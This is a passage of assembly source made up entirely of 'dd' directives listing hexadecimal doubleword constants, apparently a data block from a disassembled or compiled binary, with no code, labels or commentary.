8585AD32h, 6BEDE154h, 0C4FB800h, 0BB405B01h, 0BFA4F3B2h dd 0C56C8A20h, 0B24B9A37h, 0E42C8B57h, 0EAB42FB8h, 0BAE67C20h dd 78982D33h, 1456063h, 48D3BAF9h, 5A8D0F46h, 0F77D91BCh dd 9097E3AAh, 6AE9FB89h, 8817C594h, 2546B504h, 76060D00h dd 2D7051A6h, 4DAA201Fh, 4C53D2D3h, 0BC58BC91h, 22C8C204h dd 6A52AD41h, 8EE0A0Ah, 68CFE90Bh, 13E2C2A5h, 81557B69h dd 359A2D1h, 2E32B35Eh dd 22B6684Dh, 56BD007Ah, 0C1354F0Bh, 0EDE606E5h, 5750020Eh dd 246F8F68h, 8AC05F7Ah, 114EF4h, 5D080566h, 56E916E5h dd 0F5F94760h, 9345B4Bh, 10870F32h, 544BE4FAh, 2A5C7409h dd 3C249F2Bh, 3AFDCD01h, 0EDD847A0h, 16170CD3h, 0BC0E4D29h dd 66655518h, 3F94310Ch, 0E4C24FDh, 0C920FD58h, 0E2EEFB90h dd 0AD0EF260h, 99673C68h, 1D4CA864h, 0A5D263E8h, 0D029FFC0h dd 96F95B4h, 8F9180D8h, 3F5FBC0Dh, 0EF5C7468h, 5659B9C0h dd 0FEC0C516h, 77217B19h, 2E800C1h, 7FD70540h, 0E92D30A7h dd 0D167813Dh, 0D3704EE6h, 976F0964h, 25001A2h, 2295D1AEh dd 44DBF286h, 0D0E139BEh, 8EADC19Dh, 0CA0B32EAh, 0B777C84h dd 19B704ACh, 588549B9h, 0B9DDE418h, 12E819Ah, 0C703ADF3h dd 0E96EC143h, 6685C26Dh, 82FA2958h, 4D61D3B9h, 47162E9Eh dd 316A3029h, 70DD010Bh, 34B12C87h, 1330A88h, 0B863F068h dd 0BDF6E903h, 2943157Fh, 18BA2h, 0B405DFDBh, 388F2633h dd 72D145Bh, 66BC5932h, 87DEF701h, 0D9D3A3CBh, 85856937h dd 252C8BEEh, 275CA6DCh, 0C119E8FFh, 0E2BB97BAh, 78ECED9h dd 5C71C7BEh, 8EC40FF4h, 589667ADh, 16C66404h, 32991C48h dd 804ECB61h, 0CC6F9E89h, 0EBC1146Ah, 0C61FB103h, 314140B9h dd 0F0295BDEh, 0CC055E0Fh, 962BA902h, 14E91278h, 2D86433Dh dd 9BDF60F5h, 137ECA04h, 0C924C27h, 1205D14Dh, 28740B5Fh dd 1FBF5F20h, 534CBE3Ah, 22D0336h, 8F47487Dh, 72EEE780h dd 4F5D5CD2h, 131B3910h, 3D13E588h, 0E038E1A1h, 0B0D7ACA5h dd 9685156h, 2A963B70h, 44003B70h, 0F5D8845h, 0DF553584h dd 5CD4033Dh, 8FE026CEh, 3DB93EA8h, 8452FE02h, 0B0F6433Fh dd 90064567h, 213A0934h, 388774E6h, 1E8EB902h, 2B23E7A2h dd 8909B0DEh, 0D90C04CEh, 5E2F40ACh, 0B9CC3DB0h, 98CD0180h dd 6D7F0412h, 9959139Ah, 48B53155h, 33CEB38Fh, 2896DCADh dd 955108CBh, 0AD2F116Ch, 4CD16030h, 10C21E58h, 292526C4h dd 183C732Ah, 55B4147Ch, 18BA95EEh, 0FDBF704h, 0F2937088h dd 6F8EB943h, 381C934h, 801D07E3h, 0F6985F3Dh, 0B03850ACh dd 58C60EF7h, 435AAB88h, 253C2F8h, 65C0EB80h, 0B1911516h dd 62FB6881h, 5CF47618h, 0E62FB73Ah, 30BD7E40h, 4128D1F7h dd 0C60BD549h, 0E29542C2h, 0A4544100h, 37CA1E0h, 37685657h dd 0F08D7E5Fh, 620E2E5Fh, 0FC0F077Bh, 0ECC2F0B4h, 0EE74B8h dd 0FEDCB551h, 0D50BF6CDh, 0F007E5C0h, 0D4D45B2Ah, 8ED3A07Eh dd 343B090Fh, 706BC94Fh, 7922A1D1h, 6825DE35h, 0E9035942h dd 3C6E5446h, 32ED83A6h, 445C2701h, 2F68133Eh, 543C6332h dd 2056E589h, 0DD650FCh, 41A466E4h, 321F207Eh, 78B810CCh dd 69399D50h, 8001DE0Fh, 0D37020C6h, 0F3283E0Bh, 0E237FA93h dd 0C79A3D6h, 23AF68D3h, 29402755h, 73F77231h, 8D768FEh dd 0F1870708h, 0E24604E9h, 5F365479h, 453075BAh, 59E8A328h dd 91D9052h, 3010B6C2h, 0CEFE1F00h, 3239EE80h, 0E90884C0h dd 9992C425h, 52898BD9h, 0D15B4BE9h, 242CD3D0h, 87AA1D96h dd 0A19F0644h, 443368A2h, 0B182C596h, 2CB33038h, 1335FC3Ah dd 9C09F729h, 0B44AD020h, 40699396h, 5382BE3Dh, 60B87BBDh dd 8D3B7C02h, 0C5F13149h, 0B6D5A091h, 0EF74665h, 695975F1h dd 22E9C5E3h, 326033A9h, 13105ED7h, 0F3515B78h, 29488807h dd 0A75C12D2h, 4A0E0A50h, 0B10BB7Dh, 54DE0507h, 0D8F720B1h dd 625E890Fh, 9B2D9F80h, 0DC3A12DFh, 40591656h, 51E0803Ah dd 691FE581h, 123F8510h, 2390DE4Eh, 32304CF3h, 0B84C7B73h dd 489CB170h, 6E4917EFh, 27CC6551h, 0DD5B5B9Ch, 0B4F37984h dd 252B327Bh, 2279130Bh, 8824EDE4h, 2E5E10ABh, 5F37845h dd 752236CDh, 80C8F026h, 3D496853h, 5B4C7383h, 0CB810175h dd 50B15D85h, 4F021830h, 0DCAD461Ah, 4298E601h, 41B57D4h dd 32A9448Fh, 6CFE43C0h, 71F707h, 141004A8h, 8536502Fh dd 49ABF603h, 4E0522C4h, 751D3023h, 80174C9h, 758151E9h dd 956C4BBDh, 4FC8203Ch, 8C740DD8h, 43FD3E75h, 2ADCCE02h dd 0D7E86E83h, 2161FE29h, 0BF6F8218h, 1CE6E0FBh, 40AE2D7Bh dd 2A0F2E43h, 322CCF02h, 0B2B7621h, 0E0E14E2Ch, 750B8B15h dd 34B78B6h, 4AA65982h, 0A2E2F889h, 0EF0162DAh, 56304DAh dd 0BCF7DF29h, 935E9A0h, 11374424h, 13CA9E9h, 8003DBC5h dd 4605DFAFh, 1395F25Bh, 550525B3h, 4DC408C7h, 0B7C76CA8h dd 4B3EFB9h, 0C308EFD9h, 27E07A1Dh, 0FE7B0E2Ch, 0B73FE918h dd 580CC199h, 7550A368h, 0CB17C1E7h, 0FA105B87h, 626E99C1h dd 32414FF8h, 15DEE89h, 408E6330h, 0BEC5716h, 214084ABh dd 201026B6h, 110B527Ch, 0A1029F53h, 13442240h, 0A705A80Bh dd 0C0020037h, 0B845D41Dh, 4E012034h, 7AC7E92Ch, 1FF8689Bh dd 12465B0Ah, 5F8D45E5h, 93788758h, 597F2A85h, 44B659h dd 0CC88FCB1h, 7DC4FE59h, 57DC4D53h, 0B9895E2Dh, 45276281h dd 7AC2F974h, 15EBAA40h, 7B3D364Dh, 6083FA31h, 595A36B5h dd 0EDA0B60Fh, 60FA8734h, 812F73B2h, 0A215466Ch, 3EBDA58h dd 9955FBC3h, 0D5B70142h, 299549ABh, 0CAC1D781h, 3C59C152h dd 63F2D796h, 2D685F10h, 550D845Eh, 995D25A4h, 48D189DEh dd 0C4D57D3h, 0E9B1313Ch, 0D56165CFh, 0FB123AFDh, 2426D72Dh dd 1A3894Eh, 294425FAh, 15F5075Ch, 0D7B26A7Ah, 452F646Ch dd 188A2938h, 0E293303Ah, 7F280FF9h, 0BA8C4A78h, 0E52E80C1h dd 312386Eh, 0FE365F00h, 4B3C04C8h, 2C20CB28h, 68049230h dd 928C57FEh, 4E857AB7h, 0B6193183h, 13528201h, 4003E8C0h dd 0C2D0F687h, 5594E904h, 68D0E9FEh, 303A54DEh, 5ADA6BBh dd 0BA4F08E9h, 57BF806Dh, 6E096855h, 0B3070h, 6282CD84h dd 0E94D16B2h, 0BED53FCh, 0E162F3F3h, 9211F205h, 6C7E05B8h dd 0EA2810D3h, 0CB5C70C9h, 0EEB6170Dh, 80030201h, 0C9DD6F6h dd 7CCE9F04h, 0E9ED0AFEh, 93AD1337h, 2229C1C2h, 5B6600BAh dd 309A16B5h, 3D17E0D5h, 5076EDE6h, 24F0EB48h, 46A7BA15h dd 0B25D4A9Fh, 0D5F71FBFh, 0DBBE10A4h, 0EFD157D1h, 3D07024h dd 58C7315Ah, 0B5E9FD89h, 0C36F6461h, 0F8098C90h, 750939h dd 3B57D8B9h, 7118C152h, 5474242Bh, 216AA1F8h, 124DE42h dd 7BED17F1h, 30C1493Ah, 282687D0h, 0B31290C3h, 48DD544h dd 2C7FB906h, 0D9F74106h, 0FA112D68h, 41575B67h, 0D415C224h dd 2728707Eh, 0E983E840h, 5493EE7Ch, 61D7906h, 81360002h dd 4358AEF7h, 52E63451h, 0EDE6FF25h, 6C89F1FDh, 26453BBAh dd 218F5F52h, 2B5CA6F9h, 0D0C50681h, 0C79BA7Ah, 6C308700h dd 0E9EE0145h, 26A09733h, 7CBE4BF3h, 63772390h, 0EEC60180h dd 255660A0h, 77DFFAF1h, 519E27h, 0B6652A7Dh, 0BD16B571h dd 0C33C820h, 611EFCBEh, 161CE620h, 83C45279h, 55FCFFEEh dd 5504934Ch, 0C29F3640h, 76B233B4h, 10EC9D02h, 749E1A55h dd 0B2DCC238h, 0BE78000Bh, 9073AF75h, 2B341CA4h, 1EC1D21Bh dd 0F7037AAAh, 491E4470h, 53C200Eh, 0C9C9FF84h, 5342691Ah dd 0BAC1A772h, 84220308h, 911EA58h, 0C2134784h, 0D0F27E56h dd 35AEB4D7h, 73582C2Eh, 0D31EE0Ch, 0D1F74B01h, 66709F1Ch dd 16E53DC7h, 0BA883295h, 694E905Ah, 3B82E769h, 1AAA61D3h dd 68C8271Eh, 3CF37C29h, 1B781003h, 0F5992775h, 6C9A6822h dd 54A06801h, 13AA7248h dd 74AD19h, 179EAA6h, 8A180F4Dh, 25493E0Dh, 0FC9AB264h dd 0D38907D8h, 21F58851h, 0D95A59EBh, 0C00822DAh, 0D2F6CAFEh dd 3EA07C0h, 0A615B551h, 0E91A04C5h, 5C9CFBB1h, 0DCC626Dh dd 51271032h, 80A303B1h, 0D9F613C9h, 0E9E2F1A8h, 33C01D4Bh dd 6F2823B6h, 9C893BF3h, 3B5C46C1h, 6A5B7162h, 0D7165D3Bh dd 4F7BE930h, 0B7DD874Bh, 0C9046890h, 0CA87B4D2h, 0FC83F3E5h dd 0DE26A731h, 0E9FD8808h, 8C2A4E35h, 0E2A268F3h, 542C0A66h dd 960B7A59h, 789923CBh, 0B20A02B1h, 3092B0DDh, 40417862h dd 8E253B66h, 61F39C82h, 3BF34F49h, 0C4F2EB20h, 0AF5705ECh dd 6C847A31h, 209D297Eh, 4599C618h, 0BC0D044Bh, 2FE0678Dh dd 0CF929DDDh, 0FF2534C2h, 1B99F757h, 4348EF83h, 3762B476h dd 145A7F46h, 2C5A6E20h, 3A30F386h, 4DACB60h, 0D84828C0h dd 0D520176Fh, 4ABC84E5h, 38215D9Bh, 26ABFFA7h, 8A08C95Bh dd 0E92EB40Eh, 0D6E9C655h, 5A35020Dh, 89108AFAh, 0B1986F61h dd 7011CADFh, 2A66052Ah, 0A018EC68h, 5CC0860Fh, 4D81C14Eh dd 881B0326h, 8163B618h, 4407B8EBh, 0BE8CF039h, 0B12499B6h dd 5BDA89C0h, 0D0339F53h, 5056B400h, 7C2885B8h, 84E9184Bh dd 0F32DF54Ah, 58B27400h, 1625D8F7h, 71682D52h, 0BF0B1A94h dd 1F1345h, 3A33E722h, 0A051589Ch, 25AE460h, 0E9353D96h dd 47C29B2Dh, 2085CF5h, 0C8886FB1h, 9FB205E0h, 0DA09DC92h dd 6063B753h, 0C057E901h, 426F2D2Fh, 504266Dh, 77C0738Dh dd 47840BC4h, 0B8A00816h, 5B15A105h, 40762C64h, 22ED213Ah dd 0ED431314h, 0B70CF6D1h, 3B044C06h, 14F4633h, 35A8C116h dd 1456F4A3h, 58C2891Fh, 0FF11CA93h, 0D1F07086h, 4A98887Bh dd 0CB242098h, 0EDA629AFh, 2DC2108h, 28685D5Eh, 3F8D570h dd 0DE3F1558h, 6B14B13h, 0F4C3C3Bh, 0E090832Dh, 79EFC12Ch dd 228B2D02h, 0D78A7F40h, 500FBE4h, 39977079h, 5B73E956h dd 4136D03Eh, 5C584A33h, 3CAC01CEh, 0E88938C4h, 24EBF370h dd 20393EB1h, 0B0FD92B9h, 0DC9D22Dh, 2EC7E2CBh, 0EDCC1ECDh dd 0A5CD0980h, 0E2B8DE9h, 26D22E93h, 5A16FF7Eh, 1733F21h dd 2883B500h, 5ADEE858h, 0BEC33A40h, 4A5E06F3h, 0DAB98053h dd 282C8E09h, 27026D5Dh, 0C0354431h, 5666AE2h, 0E6C120F1h dd 65768306h, 0FE39C5F9h, 0FD673660h, 80158B9Dh, 0D028594Dh dd 9807B066h, 0F5E876BEh, 52C4F732h, 4059C2B6h, 5E12D754h dd 545095C0h, 0C1CC9E58h, 0FEA255AAh, 0AFA6D2C1h, 4A86C20Dh dd 0BDE90474h, 0A9BCDC57h, 26D1535Fh, 452BF25Ch, 0BC6F29C8h dd 0D814D848h, 4C688002h, 60402216h, 0D5051E84h, 0DF0121F2h dd 41B275A1h, 53800A2Bh, 0BF56C2C3h, 8E2C100h, 30DA4EF7h dd 2EF6E9BAh, 7B88719Bh, 52349009h, 1EA92E51h, 0DE57569Fh dd 8367EA08h, 0DB05C2C3h, 782BC0D4h, 3F79ED6Dh, 13E2C0B0h dd 182AFCFDh, 0B32D6A01h, 4016355Ch, 485FC6D8h, 0C507D465h dd 5A75E958h, 53B50229h, 75C17BD8h, 91AD9F8Bh, 0C450CC32h dd 0EF36C4ACh, 0E8680027h, 0F6F1E5Ah, 5EDC15Dh, 0FC7045C4h dd 32B3C48Eh, 8861B601h, 0E36960F4h, 0FE417EA2h, 83286B58h dd 90DC5F3Ch, 35E7C188h, 0D0CE5025h, 80A98225h, 37EC9602h dd 1AE912A4h, 0DE75B9EFh, 0A03453C9h, 0A876EE65h, 0A7FFA161h dd 3502A56Ch, 235044AEh, 1428DB7Ch, 0ED097B98h, 864641FCh dd 8296DD77h, 96B85908h, 31FB0D33h, 9CD1DA06h, 8CB30E8Dh dd 7E28C12Ah, 0E1252EADh, 9368654Bh, 0D18BDFE7h, 5232E82Dh dd 465683C2h, 67CDE827h, 170E3E47h, 477E4DA4h, 553EA1E2h dd 5AE43805h, 9E9F604h, 0BDEC4C94h, 0AB0786B5h, 0B6408FB9h dd 90F7287Fh, 0B5F0558Eh, 0FC25978h, 0F2D48B85h, 5618F380h dd 25E927CDh, 8F217C3h, 2529663Ch, 0BC79E358h, 4F03981h dd 0E982287Bh, 6903795Ah, 759CF29h, 0D9156A1Ch, 2E89E223h dd 38266BFAh, 0CB385357h, 2559C6A0h, 0AE41478Fh, 65373E4Dh dd 40EBBB93h, 1EDEB55h, 4BBC2C08h, 25E8215Bh, 2C302AB9h dd 5AADE955h, 0F63E415Ah, 17B960h, 3EFAC8Dh, 5EF3290Bh dd 0BBB4AFE9h, 3C59E4Fh, 0FF0E371Eh, 8056A6Dh, 45D380ACh dd 0B9472904h, 3DE9828Ch, 24F472FBh, 8BB43CB4h, 2D64352Eh dd 295E44F0h, 0E913378Fh, 2EBBF147h, 96E69D35h, 95DFBB40h dd 8327FF14h, 250672EAh, 190BDDE9h, 82C43F0h, 0CF087251h dd 6FFB407Bh, 15E7F8Fh, 76539889h, 0EAFCCF6h, 6882CCD4h dd 0DF893C46h, 545EAE10h, 0FC9E999Fh, 0F60C123Eh, 7A7066E6h dd 94A9187h, 0A3DB070Ch, 79101E1Ah, 88E9E261h, 3C7E2477h dd 60882A29h, 260D01B8h, 64E9463Ch, 0B2244023h, 0FC4BBEF7h dd 29509592h, 0D69AA4D9h, 5CB077B9h, 5F4EC568h, 0D63DC7B3h dd 0F1EB5961h, 40767179h, 0AB3FD1A6h, 72835D5Fh, 0D45CB21Ah dd 41E904CAh, 4064A4D3h, 1C61590Bh, 54FA8E01h, 0C21C6008h dd 48455F17h, 26028E5Dh, 0C104D67Dh, 0F1817DE0h, 0F2650F14h dd 0EC0F7A80h, 8037B726h, 0CA1F6FC9h, 0D1F73031h, 0DFE0041Ch dd 5FE97D0Dh, 6F337AFAh, 94D82918h, 10C0818Dh, 8B7369BEh dd 2740977Ch, 4160D9F7h, 4BC4C46h, 0CB0127D2h, 5500A014h dd 9D1383BDh, 4BC7E974h, 498F3BFh, 63C46851h, 0B647B8F4h dd 0C1DA9E1Bh, 0F9312596h, 0AD6B825Fh, 7C7B2028h, 3FE9092Fh dd 0EDC09B22h, 1A55C260h, 84B521B7h, 599327ABh, 450949A8h dd 0E140E106h, 0B6FA039Ah, 0DD48FAE0h, 0E7412A40h, 183BB927h dd 2D0BC5A9h, 516811A6h, 52D4ABE5h, 0E952E006h, 91125AC6h dd 3E4D5F62h, 2F50E773h, 0ACA3B91Ah, 3AC222B7h, 0EA01D37Ah dd 0AA9D76BCh, 0B030D301h, 279A93DCh, 9327566Ch, 0B7F84807h dd 28789345h, 3E94BF84h, 0D9813A9Dh, 0EF2834E3h, 0EF290640h dd 9AD6EDE9h, 6B7DB40Eh, 1AB50550h, 68D3A10Bh, 61365C73h dd 0F343D016h, 0F73834E8h, 0FD435189h, 0ADECBEh, 0D334593Ch dd 0EE41EA45h, 48157AEBh, 90C3A960h, 0CB08897Bh, 4FEC1D61h dd 33854804h, 31D15273h, 53426630h, 0B72B0F10h, 68048EC0h dd 31EA7DBDh, 1028C0A1h, 3D4E7FE2h, 0D29020E0h, 0E1302D44h dd 0AC065DCBh, 6EAFC92Fh, 9DF59A7Eh, 0E9137D46h, 8794B2AEh dd 6EED9812h, 12A95DC4h, 53F8F539h, 5FBC01BBh, 0E94B2F2Bh dd 2C3C7992h, 751326E6h, 2B58A1E7h, 875E11E1h, 5A68AC28h dd 486ACCEAh, 0DB55F40Bh, 184EA60Ah, 0F021ED65h, 5AA55E4Bh dd 252B61F5h, 17DFBD16h, 38D818C8h, 3A2127E9h, 0C4CF49D9h dd 49BE09DCh, 0DC7ABBF5h, 98A8D720h, 0A7FE83Dh, 0C5016C69h dd 2F0822FDh, 0FD1459CDh, 8B7DE92Ch, 0A1D15E8Eh, 5BB38A0Fh dd 5355E3Bh, 0E9416F81h, 234A003Fh, 0F289F4CEh, 0A5E4BE9h dd 0CAA65450h, 20685899h, 116F2F03h, 75F7555Dh, 0E5D132EEh dd 0D0588870h, 1378C79Dh, 0A0BDAC52h, 892E12E9h, 303AC4E2h dd 0F23E4C76h, 52880566h, 0A3A2D521h, 4E25E9C2h, 5FF682EEh dd 646B7BB1h, 58C22D93h, 1B0A2E6h, 0EBF9AB41h, 59EA94F7h dd 3E5DB3B8h, 1EC39E4Ch, 8A7E0391h, 0F272E90Bh, 93CB393Bh dd 0F58516Dh, 0B4FC1FD5h, 0E228653Dh, 0C42F04A9h, 0C1F314h dd 2692E58Dh, 0E0F4C45Bh, 0CF0F2D0Fh, 641D9ADEh, 44EF58C7h dd 96AD7CBh, 9EE0D405h, 2B18C95Fh, 0D2E2DD76h, 56294914h dd 12484334h, 0B1DB8F0Fh, 9D253D04h, 8E5ED80Bh, 20262971h dd 0F6FEB78Fh, 92F0F4DFh dd 6BCC95FAh, 3743220h, 516BEB80h, 0EA92DD88h, 97087647h dd 585B0066h, 2859EE30h, 3C5AF030h, 79B551DBh, 66F0ED14h dd 0FAB03850h, 0A5D8C325h, 0F84AE9E8h, 0B2F20E16h, 0F348A1DDh dd 0FC16F220h, 4B057759h, 0A1B5A72Ch, 0B4139EA7h, 4D30D41Fh dd 150C39D8h, 5D9F0346h, 0E957D101h, 5BB05F86h, 68BE3060h dd 9AAF860Fh, 0EBC11E3Ch, 3D884605h, 0FD24EF0Ch, 52C04B29h dd 9F6DB368h, 462EE74Dh, 6D3DF00Ch, 3B4412EFh, 0C7840025h dd 72123FA0h, 0ABBDE8B0h, 0E0F18F60h, 5B6CF240h, 5D594455h dd 0CF2C319Dh, 5451878Bh, 647CE2E1h, 1B7AC7F6h, 0B9A9E8F1h dd 59B02797h, 0CB3AEA07h, 0F540081Eh, 6E5C012h, 10CD60FEh dd 7B4E6893h, 0B08076B1h, 34D0F6D6h, 0BC38E173h, 9277C82Ch dd 80C665ADh, 4C0C0B7Ch, 588E4964h, 0EE1229A9h, 94C3B804h dd 10D22776h, 281CFC90h, 0F1CC77CAh, 99088AFEh, 0AE03E10Bh dd 2FC2A1EDh, 248060D6h, 5300B12h, 17FC183h, 7BCF107h dd 0CA761E27h, 62F20458h, 8067522Fh, 23281518h, 0D55A3C7Fh dd 806D9C8Dh, 2C61642Ch, 48ED08B8h, 6068173Dh, 0F6ACDE53h dd 1CF2985h, 54084EE2h, 3AE30043h, 0CC045E50h, 0D90533Bh dd 2F611109h, 9F719666h, 856AD681h, 7186B4Eh, 22AA4C12h dd 919FD1B7h, 0E312E66Eh, 7E304E61h, 5D2EA831h, 0CDC04302h dd 734B6783h, 9858BE83h, 4EB6E9DEh, 903A4216h, 0C9560733h dd 8BDD3818h, 0A55196A5h, 839A301Ch, 80560D21h, 0F05FC4BAh dd 4F0AB94Ch, 0CD0D81ADh, 1C02B802h, 0D4E78D0Eh, 7840815h dd 0EFEC852Dh, 386C9FD2h, 13CC0D32h, 8889D4D3h, 0C290A538h dd 0BF575380h, 55277252h, 20565043h, 8901E89Bh, 20D5FF8h dd 0A8CBE352h, 2733CF5h, 21B8251Fh, 40E01AC1h, 0B1214F4h dd 0EC73113h, 0C4BF5DAh, 1FD460C2h, 92695339h, 5B29C24Ch dd 0EB5765h, 0E94CB183h, 9AA9AEEBh, 0ED925525h, 0A9CE9741h dd 0B28E1214h, 5E8D289h, 42CBE917h, 5FFA0178h, 0F58185Fh dd 0DE6812C8h, 9B116144h, 1E5AA7A4h, 0B2E69DD8h, 0E9F52909h dd 5B6A7271h, 0BAC646F2h, 0C75FC32Dh, 0EE68A720h, 1D6D9738h dd 24425F88h, 2565528Ch, 2F43312Dh, 66510B81h, 0E8468168h dd 27BD2463h, 760E6F30h, 0B268321Dh, 0E8E9BF0Ah, 161A1EFh dd 18285FFDh, 0DFE95CA0h, 0C1951B60h, 4FDD75CAh, 0B27D464h dd 0E2025B08h, 0FE01EDF6h, 0A3CB86C5h, 7F087CC8h, 0CC6725D5h dd 96451EAh, 0C38283BEh, 9A3B1F68h, 79BB40C5h, 0F3ED0580h dd 0A9BA7CE9h, 0AA402619h, 5605A310h, 0AB061868h, 275E0768h dd 40A52DE9h, 907AA2E1h, 2DE601E9h, 0EABA03AFh, 2840BA4h dd 1B8E5C9Bh, 0F7E9ED81h, 93492C77h, 428220CDh, 0E1273F6h dd 0C6011E76h, 1C3C570Ah, 81753460h, 85F12042h, 303D111Fh dd 0ACB07713h, 243C98F7h, 6F7A44A0h, 8DF0F4E5h, 1FD93F08h dd 0E6C4BFDh, 9F09532Fh, 0E8098173h, 7084D45Dh, 699E29E9h dd 8E13982Ch, 97A8C685h, 50205A89h, 542EEE81h, 17321FBh dd 2CB23C1h, 0F40DE4BFh, 0F8DBDF05h, 9055C854h, 1112044Dh dd 90D15E8Ah, 58479BFBh, 0F120DCB0h, 0B8B89F0Bh, 0D5A05456h dd 4B91D2E7h, 0D1685082h, 0ECEFB35Ah, 5A5CC53h, 6F018C93h dd 8118A416h, 0D81C871h, 60E9D801h, 68FC4C0Fh, 98328025h dd 0A62ED3FCh, 4A96F0F1h, 88238926h, 2CA51FA0h, 5966020Dh dd 0D367D788h, 5C0ED409h, 0C46C9F36h, 0E9087402h, 0E9510584h dd 36470C06h, 52B1C329h, 32F060BAh, 0B2A9033h, 285C5D3Eh dd 51467886h, 0E069E3B0h, 59C4C269h, 0EF124BC4h, 9BED3057h dd 2A441735h, 2DF3C15Eh, 15C03B01h, 0BD3458Eh, 1F870F76h dd 30E92EC0h, 59256FBCh, 6DD0A53Eh, 10A56AB6h, 0BAACE97Bh dd 7AE59D9Dh, 69CCF927h, 0FA3AA484h, 4AE8D66Ch, 58E6316Fh dd 12532219h, 0FF5DA1C9h, 0FCB51A89h, 0C849C2EFh, 44FEAD6h dd 5E091018h, 89EE9339h, 6C36C6B8h, 3B0D259Dh, 0A3A085C5h dd 605DBE01h, 0E5E97C68h, 0EC74127Eh, 661B55Dh, 0C5324C6Eh dd 4DE04B28h, 0B212BE90h, 609EA1C2h, 4E3B85Dh, 0F8C5D000h dd 0C1412B05h, 0A2DA630Ch, 0BC842F2Ch, 5BBE27CCh, 4908CC0Fh dd 0B4B2385Bh, 10ABDE84h, 76CF04B5h, 0F08029C3h, 5C3634AEh dd 0BC417D1Ch, 0E6B79A89h, 84621F74h, 9C5574B1h, 0F3A721BDh dd 6E512743h, 0B697E950h, 0F32809FBh, 3B737961h, 1BB0C413h dd 0DCE91B87h, 92F8ADA0h, 73604140h, 0BC23AD0Ch, 97E97210h dd 0B0592086h, 710EEC30h, 3DEB0F5h, 0EB89CA7Eh, 5BB9295Dh dd 0C3527B31h, 5C833928h, 0E9E11DC0h, 0FFAB5480h, 6C41F11Fh dd 160EA4Eh, 0A47911BEh, 0A000A50Ch, 96B79039h, 0A08B2A77h dd 2D3776F0h, 0F1023148h, 0AE82154Bh, 2904732Eh, 319A0CAEh dd 587FE14Bh, 8AD4A42Dh, 0AE0B0FCEh, 74BD5817h, 0AF1B0EEBh dd 9AD8C124h, 3609A5F3h, 8229300Bh, 192C1A79h, 0C7C5E455h dd 0C4B64CC7h, 0DC112B72h, 4B2092A5h, 614AC18Ch, 9840BC55h dd 0D0AA5A5Ah, 1F3AE70Dh, 0D3F77609h, 0EDFB874Bh, 17E9F90h dd 0A9B490DFh, 44F966CBh, 90488933h, 0E90FDA81h, 0B0EF57C3h dd 114C5DF1h, 0CA89BA13h, 0F612A68Bh, 190A2FBh, 4B35EDBEh dd 360576Ch, 0BD621FC6h, 5BDFC148h, 205FFE21h, 3219C37Bh dd 0FD0C2F07h, 0C1196630h, 339E8AEh, 31F3E129h, 0E90800BEh dd 95C10B15h, 9F30CBC9h, 2C840FF4h, 89E0D89Ch, 470341D1h dd 1204A270h, 2602A4BAh, 5AC2C3AFh, 5D19919Ch, 45F74159h dd 0A83D6A07h, 40E14224h, 102C6822h, 55C65271h, 0CBA7BB77h dd 0CF80718Fh, 50DB5F62h, 5EFC107h, 0B860D7F7h, 0E209D9h dd 0DE0D170h, 419B676Ch, 707E927h, 0F6280ACh, 0E9BD9388h dd 0CF7338AEh, 0C691EE62h, 415F0C0Ch, 9E2838B1h, 9F0DA78Ch dd 0C4D07EAh, 740F5782h, 8C12AAE0h, 0C98920A9h, 32B42560h dd 6617A90h, 8BC580E9h, 0D2331E7Bh, 0EE4AB565h, 0C15A42D6h dd 6800144Ah, 189557FFh, 96229F3Bh, 49BBE02Bh, 5B121031h dd 0EFE0DE09h, 0E44813B7h, 0FD980186h, 6E050D68h, 85EE8782h dd 85B65B08h, 0D3251310h, 0EC81822Dh, 67B482Bh, 0F3BA604Eh dd 2CDD4F03h, 0EAE31E9h, 6CA2EBD5h, 7C534367h, 6617BCD6h dd 9D0B209Bh, 0EFCD52FCh, 0E7893DFDh, 34C635DDh, 19452302h dd 62DAF757h, 48C22090h, 0FE8D7D2Dh, 0C6093E1Eh, 8E8D8FAFh dd 548912F4h, 2642FA89h, 6152C0F4h, 8D3BFA0Eh, 0C810F62Ah dd 45A89B59h, 0BE43D85Ch, 4AB2C0EDh, 0C69D5EB8h, 0CA4BA031h dd 7F262507h, 0B446DEA3h, 0A30FF516h, 9DCAFF21h, 0D2C516A7h dd 9FB1123Fh, 439AC140h, 0F6420A07h, 39EF482Dh, 48216480h dd 0B09E2932h, 3A16426h, 0A36DCB29h, 0EBF407A4h, 2D03429Ah dd 0A34B79E9h, 4B667C14h, 0A2A57C85h, 239368E5h, 0A519AC66h dd 508934ACh, 11228BD3h, 0D55AD026h, 54D4581Ah, 48F1444Eh dd 0BA51C75Eh, 0E9594177h, 35492B96h, 0B308FEEFh, 330240BAh dd 4A71FDB9h, 0DAE0E006h, 4D10332Dh, 7E8B80Ch, 0CE123151h dd 84070159h, 2B11BF57h, 3B600EB2h, 294BD3Eh, 3029E544h dd 9B4A5BD9h, 0A55E142Ah, 2B981D09h, 20165AF9h, 4BDC6A4h dd 0BBC1F60Ch, 1328F3D7h, 38744A3Dh, 4C0B2EB0h, 0DD04D2F7h dd 0B8EF3C6h, 9A504168h, 57C7005Ah, 0BC26A1E9h, 1DF9A883h dd 0E4175FCBh, 151804C1h, 0CE02BA93h, 5F0D16B6h, 0ABDB9D00h dd 1269C5Dh, 0E827E9D3h dd 20E9568Fh, 30240D35h, 0B301A8FDh, 3EBC057h, 2DD77370h dd 0C4F28BE9h, 18DE313Ch, 0BDAAB002h, 0FC1000D8h, 0AAED8169h dd 30195C67h, 5153E7E9h, 14F58C20h, 0CB2B4504h, 0A9B49B05h dd 0E609AEE6h, 81020089h, 3B041BE1h, 3A7943E4h, 27A86097h dd 4AD76B2h, 0CF8967C3h, 6883F059h, 0FA183227h, 3B164141h dd 3487FFC1h, 0E914986Eh, 3EB44759h, 9FAC8FBEh, 417B4D43h dd 0F8AEC42Fh, 3822A55Fh, 0B7DB585Fh, 0C6B295CCh, 9FBD5500h dd 0E96AC967h, 0BCDC9A7Ch, 0BB66508Ch, 7E1EDC3Ah, 21A0CB19h dd 0F9170224h, 53098AC8h, 75F7919Fh, 0A05523DCh, 0ED077EAh dd 87E9714Eh, 7C8690F2h, 0FD24AA73h, 0E5699B29h, 4F831055h dd 842D5240h, 98195527h, 705517Bh, 9E139332h, 79F8B370h dd 73C5AC30h, 33111FE6h, 5E0C5A38h, 41C0B1h, 90213032h dd 0CE8AA134h, 1513092h, 6C35BEAAh, 5532018h, 4C60EDF4h dd 0D5747E9Eh, 4F67907Ch, 29AC0782h, 0E14B75D6h, 1FCE6AF1h 